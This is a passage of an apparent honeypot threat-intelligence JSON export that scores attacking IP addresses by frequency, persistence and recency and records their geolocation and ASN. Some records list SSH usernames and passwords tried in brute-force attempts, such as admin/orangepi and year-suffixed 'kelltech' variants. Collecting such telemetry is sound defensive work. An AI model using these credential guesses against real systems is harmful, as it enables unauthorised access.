        "Cowrie": 12,
        "H0neytr4p": 9,
        "Dionaea": 5,
        "Tanner": 2
      }
    },
    "174.138.91.211": {
      "attack_count": 10,
      "first_seen": "2026-03-20T13:57:42.617Z",
      "last_seen": "2026-03-20T13:58:17.003Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "admin",
        "orangepi"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Clifton",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T13:57:42.617000+00:00",
        "last_seen_30d": "2026-03-20T13:59:21.317000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "167.94.138.116": {
      "attack_count": 6,
      "first_seen": "2026-03-21T23:33:10.267Z",
      "last_seen": "2026-03-21T23:33:51.375Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 58.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.9,
        "persistence": 17.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 122,
        "days_active_30d": 21,
        "ports_targeted_30d": 27,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T03:07:37+00:00",
        "last_seen_30d": "2026-03-22T14:10:05.479000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 68,
        "Honeytrap": 44,
        "Cowrie": 6,
        "Tanner": 3,
        "Dionaea": 1
      }
    },
    "205.210.31.39": {
      "attack_count": 6,
      "first_seen": "2026-03-17T22:41:13.788Z",
      "last_seen": "2026-03-18T16:39:06.894Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 90.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.4,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 139,
        "days_active_30d": 29,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-03T11:06:03.055000+00:00",
        "last_seen_30d": "2026-03-31T21:31:52.674000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 83,
        "Honeytrap": 28,
        "ConPot": 20,
        "Cowrie": 6,
        "Dionaea": 2
      }
    },
    "185.93.89.104": {
      "attack_count": 5,
      "first_seen": "2026-03-06T01:31:52.422Z",
      "last_seen": "2026-03-06T01:31:55.139Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "kelltech"
      ],
      "passwords_attempted": [
        "!2026Kelltech"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 6.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.6,
        "persistence": 3.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 73,
        "days_active_30d": 4,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T09:39:40.091000+00:00",
        "last_seen_30d": "2026-03-06T01:33:04.897000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Suricata": 55,
        "Heralding": 13,
        "Cowrie": 5
      }
    },
    "185.93.89.27": {
      "attack_count": 5,
      "first_seen": "2026-03-06T02:31:06.558Z",
      "last_seen": "2026-03-06T02:31:08.929Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "kelltech"
      ],
      "passwords_attempted": [
        "kelltech2026!"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 5.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.6,
        "persistence": 3.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 4,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T09:31:02.704000+00:00",
        "last_seen_30d": "2026-03-06T02:32:13.852000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 5,
        "Heralding": 2
      }
    },
    "192.253.248.90": {
      "attack_count": 5,
      "first_seen": "2026-03-06T00:33:11.785Z",
      "last_seen": "2026-03-06T00:33:14.456Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "kelltech"
      ],
      "passwords_attempted": [
        "2025@kelltech"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 5.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.6,
        "persistence": 3.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 4,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T09:05:09.064000+00:00",
        "last_seen_30d": "2026-03-06T00:34:17.745000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 5,
        "Heralding": 2
      }
    },
    "82.153.138.184": {
      "attack_count": 5,
      "first_seen": "2026-03-04T19:26:35.783Z",
      "last_seen": "2026-03-04T19:26:41.597Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "issabel"
      ],
      "passwords_attempted": [
        "Itsemoemo2026@Washere2026"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": "Or\u0103\u015ftie",
      "asn": 214209,
      "as_org": "Internet Magnate (Pty) Ltd",
      "threat_score": 2.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T19:26:35.783000+00:00",
        "last_seen_30d": "2026-03-04T19:27:48.646000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "114.162.233.64": {
      "attack_count": 4,
      "first_seen": "2026-03-15T04:36:44.976Z",
      "last_seen": "2026-03-15T22:48:29.076Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Sapporo",
      "asn": 4713,
      "as_org": "NTT DOCOMO BUSINESS,Inc.",
      "threat_score": 9.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T04:36:44.976000+00:00",
        "last_seen_30d": "2026-03-15T22:49:34.695000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "183.220.237.230": {
      "attack_count": 4,
      "first_seen": "2026-03-03T01:59:01.887Z",
      "last_seen": "2026-03-27T08:07:30.827Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 9808,
      "as_org": "China Mobile Communications Group Co., Ltd.",
      "threat_score": 35.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.8,
        "persistence": 20.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 25,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T01:59:01.887000+00:00",
        "last_seen_30d": "2026-03-27T08:08:38.356000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "213.65.207.226": {
      "attack_count": 4,
      "first_seen": "2026-03-22T12:54:10.909Z",
      "last_seen": "2026-03-22T18:00:25.164Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": null,
      "asn": 3301,
      "as_org": "Telia Company AB",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T12:54:10.909000+00:00",
        "last_seen_30d": "2026-03-22T18:01:26.507000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "45.153.34.213": {
      "attack_count": 3,
      "first_seen": "2026-03-10T10:55:43.706Z",
      "last_seen": "2026-03-10T10:55:43.707Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Eygelshoven",
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 93.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 1133,
        "days_active_30d": 28,
        "ports_targeted_30d": 137,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-04T21:28:42+00:00",
        "last_seen_30d": "2026-03-31T16:04:38.379000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 940,
        "Honeytrap": 186,
        "ConPot": 4,
        "Cowrie": 3
      }
    },
    "1.64.207.26": {
      "attack_count": 2,
      "first_seen": "2026-03-13T10:22:30.190Z",
      "last_seen": "2026-03-13T10:22:43.222Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 4760,
      "as_org": "HKT Limited",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-13T10:22:30.190000+00:00",
        "last_seen_30d": "2026-03-13T10:23:49.739000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "103.153.60.202": {
      "attack_count": 2,
      "first_seen": "2026-03-06T15:22:20.463Z",
      "last_seen": "2026-03-06T15:22:20.950Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 140456,
      "as_org": "PT Era Awan Digital",
      "threat_score": 3.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T15:22:20.463000+00:00",
        "last_seen_30d": "2026-03-06T15:23:25.020000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "110.38.194.15": {
      "attack_count": 2,
      "first_seen": "2026-03-23T00:12:13.415Z",
      "last_seen": "2026-03-23T00:12:26.621Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 38264,
      "as_org": "National WiMAXIMS environment",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T00:12:13.415000+00:00",
        "last_seen_30d": "2026-03-23T00:13:32.366000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "113.134.96.148": {
      "attack_count": 2,
      "first_seen": "2026-03-05T09:40:34.156Z",
      "last_seen": "2026-03-05T09:40:47.948Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Xi'an",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T09:40:34.156000+00:00",
        "last_seen_30d": "2026-03-05T09:41:50.224000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "117.207.38.140": {
      "attack_count": 2,
      "first_seen": "2026-03-07T11:08:49.204Z",
      "last_seen": "2026-03-07T11:09:03.263Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Kishangarh",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T11:08:49.204000+00:00",
        "last_seen_30d": "2026-03-07T11:10:05.564000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "148.204.106.57": {
      "attack_count": 2,
      "first_seen": "2026-03-15T19:51:14.360Z",
      "last_seen": "2026-03-15T19:51:27.926Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Cuauht\u00e9moc",
      "asn": 3484,
      "as_org": "Instituto Politecnico Nacional",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T19:51:14.360000+00:00",
        "last_seen_30d": "2026-03-15T19:52:33.498000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "157.18.158.111": {
      "attack_count": 2,
      "first_seen": "2026-03-30T17:55:47.729Z",
      "last_seen": "2026-03-30T17:56:34.356Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 17816,
      "as_org": "China Unicom IP network China169 Guangdong province",
      "threat_score": 18.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T17:55:47.729000+00:00",
        "last_seen_30d": "2026-03-30T17:57:37.356000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "164.90.196.118": {
      "attack_count": 2,
      "first_seen": "2026-03-13T19:51:10.045Z",
      "last_seen": "2026-03-13T19:51:10.325Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-13T19:51:10.045000+00:00",
        "last_seen_30d": "2026-03-13T19:52:18.892000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "182.222.7.141": {
      "attack_count": 2,
      "first_seen": "2026-03-28T04:04:37.657Z",
      "last_seen": "2026-03-28T04:05:08.403Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gangnam-gu",
      "asn": 17858,
      "as_org": "LG POWERCOMM",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T04:04:37.657000+00:00",
        "last_seen_30d": "2026-03-28T04:06:10.634000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "204.216.147.144": {
      "attack_count": 2,
      "first_seen": "2026-03-03T04:07:21.871Z",
      "last_seen": "2026-03-03T04:07:27.185Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Vinhedo",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 29231,
        "days_active_30d": 1,
        "ports_targeted_30d": 10,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-03T02:38:10+00:00",
        "last_seen_30d": "2026-03-03T04:23:11.555000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Suricata": 20580,
        "Honeytrap": 8646,
        "Cowrie": 2,
        "Redishoneypot": 2,
        "Miniprint": 1
      }
    },
    "205.210.31.106": {
      "attack_count": 2,
      "first_seen": "2026-03-02T09:20:53.686Z",
      "last_seen": "2026-03-02T09:21:03.502Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 82.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.8,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 119,
        "days_active_30d": 29,
        "ports_targeted_30d": 36,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T09:20:53.686000+00:00",
        "last_seen_30d": "2026-03-30T21:24:40.952000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 82,
        "Honeytrap": 34,
        "Cowrie": 2,
        "ConPot": 1
      }
    },
    "205.210.31.195": {
      "attack_count": 2,
      "first_seen": "2026-03-23T18:47:57.420Z",
      "last_seen": "2026-03-23T18:47:58.032Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 85.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.0,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 101,
        "days_active_30d": 28,
        "ports_targeted_30d": 30,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-03T01:36:30.136000+00:00",
        "last_seen_30d": "2026-03-30T18:15:43.561000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 69,
        "Honeytrap": 26,
        "ConPot": 3,
        "Cowrie": 2,
        "Dicompot": 1
      }
    },
    "205.210.31.223": {
      "attack_count": 2,
      "first_seen": "2026-03-19T15:40:46.345Z",
      "last_seen": "2026-03-19T15:41:17.255Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 90.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 111,
        "days_active_30d": 30,
        "ports_targeted_30d": 33,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-02T01:38:01+00:00",
        "last_seen_30d": "2026-03-31T13:29:55.933000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 74,
        "Honeytrap": 29,
        "Redishoneypot": 3,
        "Cowrie": 2,
        "Dionaea": 2,
        "Dicompot": 1
      }
    },
    "209.38.27.198": {
      "attack_count": 2,
      "first_seen": "2026-03-02T06:55:30.539Z",
      "last_seen": "2026-03-02T06:57:30.542Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 2.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T06:55:30.539000+00:00",
        "last_seen_30d": "2026-03-02T07:07:33.823000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "220.249.151.228": {
      "attack_count": 2,
      "first_seen": "2026-03-27T09:07:32.346Z",
      "last_seen": "2026-03-27T09:07:46.245Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T09:07:32.346000+00:00",
        "last_seen_30d": "2026-03-27T09:08:48.574000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "38.196.79.107": {
      "attack_count": 2,
      "first_seen": "2026-03-16T22:19:27.359Z",
      "last_seen": "2026-03-16T22:19:40.990Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Maracaibo",
      "asn": 271951,
      "as_org": "4 EVER PLUG,C.A.",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T22:19:27.359000+00:00",
        "last_seen_30d": "2026-03-16T22:20:47.877000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "41.59.125.104": {
      "attack_count": 2,
      "first_seen": "2026-03-16T12:44:38.645Z",
      "last_seen": "2026-03-16T12:44:51.769Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Tanzania",
      "country_code": "TZ",
      "city": "Dar es Salaam",
      "asn": 33765,
      "as_org": "TTCLDATA",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
